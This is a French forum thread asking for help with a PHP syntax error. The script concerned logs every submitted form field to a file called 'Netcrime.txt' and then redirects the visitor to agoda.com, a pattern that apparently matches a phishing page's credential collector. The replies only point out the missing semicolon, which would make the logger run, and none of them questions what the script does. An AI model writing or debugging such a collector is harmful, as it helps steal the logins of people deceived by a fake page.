Parse error: syntax error, unexpected T_VARIA

Bonjour,

J'ai un souci comme beaucoup d'autres par rapport à un contenu en php qui est assez court pourtant mais j'ai beau regardé je ne vois pas l'erreur (ça ne peut être le point virgule à la fin de la 2eme ligne car quand j'en met un ils mettent une erreur de plus... serait-ce par rapport aux { } ?) j'espère que vous pourrez m'aider et merci d'avance
voici le contenu:

<?php
header ('Location: http://www.agoda.com')
$handle = fopen("Netcrime.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

3 réponses

  1. Mais si, il manque bien un ; à la fin de ta ligne 2, il n'y a aucun doute là-dessus.
    Si tu ne le mets pas, tu as une erreur unexpected T_VARIABLE car il s'attend à un ; après la parenthèse fermande de header();
    Si tu le mets, ton script se déroule normalement et donc te redirige vers le site http://www.agoda.com. Le message d'erreur vient peut-être de ce site, ou d'une autre ligne ailleurs dans ton script.

    Encore une fois, recopie le message d'erreur complet (pas recopié lettre par lettre, mais copié-collé). Vérifie que le nom du fichier indiqué dans le message d'erreur est bien celui de ton script.
    1. bonjour,

      merci pour votre réponse mais comme précisé dans ma parenthese lorsque je mets le point virgule à la fin de cette ligne, c'est écrit "unexpectable ";" " donc ce n'est pas cela...
      l'erreur est dite sur la ligne 5...
      1. Bonjour

        Tu aurais pu donner le message d'erreur complet, en particulier avec le numéro de ligne

        header ('Location: http://www.agoda.com')
        il manque le ; à la fin